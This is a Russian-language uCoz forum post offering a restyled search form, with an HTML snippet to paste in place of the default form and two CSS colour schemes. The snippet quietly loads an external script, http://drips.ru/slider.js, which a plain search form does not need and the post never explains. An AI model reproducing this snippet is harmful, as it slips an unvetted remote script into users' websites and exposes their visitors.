• Информер файлов
    • [ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
    • Страница 1 из 1
    • 1
    Форум » Скрипты для uCoz » Другие скрипты для uCoz » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
    Два цветовых вариантов формы поиска (DMsearch v.1.0)
    Пользователи

    Offline
    40Glocc написал P 21.02.2012, 22:00 :
    В этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1

    Шаг 1 установка кода:

    Для начало, нам следует удалить старый код формы поиска uCoz

    Code
    $SEARCH_FORM$


    и за место него установить следующий html код:

    HTML-Code

    Code
    <form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>


    теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта.

    Вариант № 1 White (Белый):

    Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png

    Code
    /* Форма поиска
    ------------------------------------------*/
    .poick_os {   
       float:right;
    }   

    .poick_os input {
       vertical-align:middle;
    }

    .poick_pole {
       font:11px Verdana,Arial,Helvetica,sans-serif;
       color:#555; text-shadow: 1px 1px 1px #fff;
       height:16px;
       margin:0;
       padding:4px;
       background:#f6f6f6;
       border: 1px solid #d6d6d6;
       border-right: none;
    }
         
    .poick_pole:focus {
       background:#fff;
    }   
         
    .poick_knopka {
       font:11px Verdana,Arial,Helvetica,sans-serif;
       color:#555; text-shadow: 1px 1px 1px #fff;
       height:26px;
       margin:0;
       padding:0 7px;
       background:#e9e9e9;
       border:1px solid #d6d6d6;
    }
         
    .poick_knopka:hover{
       background:#d6d6d6;
       }


    Вариант № 2 Black (Чёрный):

    Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png

    Code
    /* Форма поиска
    ------------------------------------------*/
    .poick_os {   
       float:right;
    }   

    .poick_os input {
       vertical-align:middle;
    }

    .poick_pole {
       font:11px Verdana,Arial,Helvetica,sans-serif;
       color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
       height:16px;
       margin:0;
       padding:4px;
       background:#484848;
       border: 1px solid #252525;
       border-right: none;
    }
         
    .poick_pole:focus {
       background:#545454;
    }   
         
    .poick_knopka {
       font:11px Verdana,Arial,Helvetica,sans-serif;
       color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
       height:26px;
       margin:0;
       padding:0 7px;
       background:#545454;
       border:1px solid #252525;
    }
         
    .poick_knopka:hover {
       background:#252525;
       }


    на этом всё, удачных вам поисков на вашем сайте...
    "